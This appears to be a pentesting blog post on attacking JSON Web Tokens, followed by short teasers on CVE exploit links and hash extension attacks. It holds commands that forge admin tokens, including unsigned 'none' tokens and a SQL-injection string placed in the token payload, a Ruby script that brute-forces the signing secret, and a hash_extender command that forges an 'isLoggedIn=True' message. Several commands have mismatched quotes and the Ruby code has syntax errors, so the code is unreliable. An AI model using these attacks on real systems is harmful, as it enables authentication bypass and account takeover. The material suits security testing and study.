Skip to main content

Attacking JSON Web Tokens - JWT Pentesting

 

sign an unsigned token, the process is as follows. 
unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload)  signature_encoded = encodeBase64(HMAC-SHA256("secret", unsignedToken))  jwt_token = encodeBase64(header) + "." + encodeBase64(payload) + "." + signature_encoded
JWT is not vulnerable to CSRF (except when JWT is put in a cookie) 
Session theft through an XSS attack is possible when JWT is used 
Improper token storage (HTML5 storage/cookie) 
Sometimes the key is weak and can be brute-forced 
Faulty token expiration 
JWT can be used as Bearer token in a custom authorization header
JWT is being used for stateless applications. JWT usage results in no server-side storage and database-based session management. All info is put inside a signed JWT token. 
- Only relying on the secret key 
- Logging out or invalidating specific users is not possible due to the above stateless approach. The same signing key is used for everyone.
#HMAC SHA256 signed token creation using JWTear
jwtear --generate-token --header '{"typ" : "JWT", "alg" : "HS256"}' --payload '{"login" : "admin"}' --key 'cr@zyp@ss' 

#Empty signature token creating example 
jwtear --generate-token --header '{"typ" : "JWT", "alg" : "none"}" --payload '{"login" : "admin"}'

#Testing for injection example, $ is used to escape single quotes
jwtear --generate-token --header '{"typ" : "JWT", "alg" : "none"} --payload $'{"login" : "admin\' or \'a\'=\'a"}'
#Brute Force Secret Used to sign a token

require 'base64' 
require 'openssl'

jwt "jwt_goes_here" 
header, data, signature= jwt.split(".") 

def sign (data, secret) 
Base64.urlsafe_encode64(OpenSSL::HMAC.digest(OpenSSL::Digest.new("sha256"), secret, data)).gsub ("=","") 
end 
File.readlines("possible_secrets.txt").each do line| 
	line.chomp! 
	if sign (header+". "+data, line) == signature 
	puts line 
	exit 	
   end 
end



Comments

Popular posts from this blog

POC Links for CVE's

  Serach for a CVE here first - Trickest/cve Apache CVE-2024-38475 - CVE-2024-38475 #version less than 2.4.51 CVE-2021-44790 - h ttps://www.exploit-db.com/exploits/51193 #Apache HTTP Server 2.4.50 CVE-2021-42013 - https://www.exploit-db.com/exploits/50406 use https://github.com/mrmtwoj/apache-vulnerability-testing for below CVE's CVE-2024-38472: Apache HTTP Server on Windows UNC SSRF CVE-2024-39573: mod_rewrite proxy handler substitution CVE-2024-38477: Crash resulting in Denial of Service in mod_proxy CVE-2024-38476: Exploitable backend application output causing internal redirects CVE-2024-38475: mod_rewrite weakness with filesystem path matching CVE-2024-38474: Weakness with encoded question marks in backreferences CVE-2024-38473: mod_proxy proxy encoding problem CVE-2023-38709: HTTP response splitting EXIM #suppodily should work for versions below Exim 4.96.1 - is not accurate CVE-2023-42115 - https://github.com/AdaHop-Cyber-Security/Pocy/tree/main

Hash Extension Attacks

  #Install Dependencies sudo apt-get install libssl-dev #Download Hash Extender git clone https://github.com/iagox86/hash_extender.git cd hash_extender make #Run it /hash_extender --data 'username=admin' --secret 16 --append '&isLoggedIn=True' --signature d3a85d3b3087c7e841f84eb4316765c6e1f786074a1f1db996b2e0f8c96f197e2f55433920a630feb07daafadefbc13c947e5225fc509f8241f57f47a8df5311 --format sha512